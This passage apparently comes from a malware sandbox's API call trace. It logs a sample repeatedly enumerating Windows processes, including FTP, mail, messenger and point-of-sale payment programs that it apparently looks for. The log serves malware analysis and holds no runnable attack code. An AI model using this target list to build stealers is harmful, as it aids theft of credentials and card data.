th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0234.420] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0234.421] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0234.423] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0234.424] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0234.478] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0234.480] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0234.482] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0234.484] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0234.486] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0234.487] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0234.489] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0234.491] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0234.493] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0234.494] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0234.496] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0234.498] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0234.500] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0234.501] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0234.504] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0234.505] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0234.507] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0234.509] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0234.510] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0234.512] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0234.514] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0234.516] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0234.568] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0234.571] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0234.572] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0234.574] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0234.576] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0234.578] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0234.579] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0234.581] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0234.583] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0234.584] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0234.586] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0234.587] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0234.589] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0234.591] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0234.592] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0234.594] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0234.595] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0234.597] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0234.598] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0234.600] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0234.602] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0234.603] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0234.605] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0234.606] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0234.608] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0234.609] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0234.610] CloseHandle (hObject=0xc20) returned 1 [0234.610] Sleep (dwMilliseconds=0x64) [0234.662] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc20 [0234.677] Process32First (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.678] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0234.679] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0234.681] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.682] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0234.683] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.685] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0234.686] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0234.688] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0234.689] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.691] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.692] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0234.694] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.696] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.697] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.699] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.700] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.702] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.703] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.704] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0234.775] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0234.777] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0234.779] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.780] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0234.782] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0234.784] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0234.786] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0234.787] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.789] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0234.790] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0234.792] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0234.793] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 